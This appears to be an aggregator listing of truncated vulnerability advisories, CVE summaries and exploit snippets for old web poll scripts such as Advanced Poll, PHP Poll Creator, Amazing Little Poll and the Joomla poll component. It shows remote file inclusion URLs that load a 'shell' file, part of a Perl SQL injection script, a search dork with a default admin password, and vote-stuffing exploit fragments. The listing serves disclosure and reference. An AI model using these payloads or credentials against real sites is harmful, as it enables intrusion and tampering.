Advanced Poll 2.0.7 Remote File Include Vulnerability

Advanced Poll Advanced Poll 2.0.7 Remote File Include Vulnerability Found by: beks Bug in booth.php captcha.php comments.php png.php www.site.com/path/booth.php?includepath=shell www.site.com/path/captcha.php?includepath=shell www.site.com/path/comments.php?includepath=shell...

AspPired2Poll 1.0 - 'MoreInfo.asp' SQL Injection

!/usr/bin/perl Script Name: AspPired2 Poll newProto = "tcp", PeerAddr = "$server", PeerPort = "$port" || die "\n+ Connection failed...\n"; print $socket "GET $target\n"; print $socket "Host: $server\n"; print $socket "Accept: /\n"; print $socket "Connection: close\n\n"; print "+ Conn...

PollCreator1.04.txt

PHP Poll Creator 1.04 pollvote.phpFile Include Source Code: http://www.phppc.de/download/phppc104.zip Vulnerable Code: include $relativerpfad . "layouttop.inc.php"; include $relativerpfad . "polltitelkat.inc.php"; Exploit : http://www.vicTim.com/PhpPC/pollvote.php?relativerpfad=sh3ll.txt? Discove...

PHP Poll Creator 1.04 (poll_vote.php)File Include

PHP Poll Creator 1.04 pollvote.phpFile Include Source Code: http://www.phppc.de/download/phppc104.zip Vulnerable Code: include $relativerpfad . "layouttop.inc.php"; include $relativerpfad . "polltitelkat.inc.php"; Exploit : http://www.vicTim.com/PhpPC/pollvote.php?relativerpfad=sh3ll.txt? Discove...

advancedpoll202.txt

+-------------------------------------------------------------------- + + Advanced Poll v2.02 : = Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: Advanced Poll v2.02 + Venedor ...........: http://www.proxy2.de + Class...

Advanced Poll v2.02 :) <= Remote File Inclusion

+-------------------------------------------------------------------- + + Advanced Poll v2.02 : = Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: Advanced Poll v2.02 + Venedor ...........: http://www.proxy2.de + Class...

[SA21997] Amazing Little Poll "lp_settings.inc" Password Disclosure

TITLE: Amazing Little Poll "lpsettings.inc" Password Disclosure SECUNIA ADVISORY ID: SA21997 VERIFY ADVISORY: http://secunia.com/advisories/21997/ CRITICAL: Moderately critical IMPACT: Exposure of sensitive information WHERE: From remote SOFTWARE: Amazing Little Poll 1.x...

CVE-2006-4652

1 Amazing Little Poll and 2 Amazing Little Picture Poll have a default password of "dsapoll", which allows remote attackers to create a new poll by entering default credentials via lpadmin.php...

CVE-2006-4653

The CVE-2006-4653 entry concerns two WordPress-like poll components, “Amazing Little Poll” and “Amazing Little Picture Poll,” which expose the admin password by serving the lp_settings files (lp_settings.inc or lp_settings.php) from the web root due to insufficient access control. The vulnerabili...

CVE-2006-4652

CVE-2006-4652 affects the applications Amazing Little Poll and Amazing Little Picture Poll, which ship with a default password of dsapoll. This allows remote attackers to create a new poll by submitting default credentials through lp_admin.php. The known entry provides a basic description and CVS...

CVE-2006-4652

1 Amazing Little Poll and 2 Amazing Little Picture Poll have a default password of "dsapoll", which allows remote attackers to create a new poll by entering default credentials via lpadmin.php...

The Amazing Little Poll Admin Pwd

SOFTWARE ========= The Amazing Little Poll DESCRIPTION ============ google dork = "The Amazing Little Poll" and go to admin page /lpadmin.php default password dsapoll input to login admin or add to last path /lpsettings.inc and take administrator passwd $pwd="dsapoll"; ; create a new pol...

CVE-2006-4468

Multiple unspecified vulnerabilities in Joomla! before 1.0.11, related to unvalidated input, allow attackers to have an unknown impact via unspecified vectors involving the 1 mosMail, 2 JosIsValidEmail, and 3 josSpoofValue functions; 4 the lack of inclusion of globals.php in...

CVE-2006-4468

Multiple unspecified vulnerabilities in Joomla! before 1.0.11, related to unvalidated input, allow attackers to have an unknown impact via unspecified vectors involving the 1 mosMail, 2 JosIsValidEmail, and 3 josSpoofValue functions; 4 the lack of inclusion of globals.php in...

[KAPDA::#55] - Joomla poll component vulnerability

KAPDA New advisory Vendor: http://www.joomla.org Vulnerable: 1.0.10 prior versions also maybe Affected Bug: user session validation weakness Exploitation: Remote with browser Poc: available Description: -------------------- From vendora€™s website. Joomla! is an award-winning Content Management...

Joomla <=1.0.10 (poll component) Arbitrary Add Votes Exploit

No description provided by source. ?php Joomla poll component add unlimited votes Computer Security Researchers Institute works regardless of php.ini settings by trueend5 http://www.KAPDA.ir errorreporting0; iniset"maxexecutiontime",0; iniset"defaultsockettimeout", 2; obimplicitflush 1; echo...

Joomla! Component Poll 1.0.10 - Arbitrary Add Votes

Joomla! Component Poll 1.0.10 - Arbitrary Add Votes Joomla poll component arbitrary add votes Joomla poll component arbitrary add votes by trueend5 Computer Security Researchers Institute KAPDA.ir hostname ex: www.sitename.com span class="Stil...

Joomla <=1.0.10 (poll component) Arbitrary Add Votes Exploit

Exploit for unknown platform in category web applications ============================================================ Joomla Joomla poll component arbitrary add votes Joomla poll component arbitrary add votes by trueend5 Computer Security Researchers Institute KAPDA.ir form name="form1"...

Joomla! Component Poll 1.0.10 - Arbitrary Add Votes

Joomla poll component arbitrary add votes Joomla poll component arbitrary add votes by trueend5 Computer Security Researchers Institute KAPDA.ir hostname ex: www.sitename.com font color="...

xpoll110.txt

Discovered by Sirdarckcat from elhacker.net X-Poll 1.10 http://members.lycos.co.uk/xscripts03/ ============================================== X-Poll is a simple poll maker for simple PHP web sites. This has a SQL Injection vulnerability. ============================================== PoC:...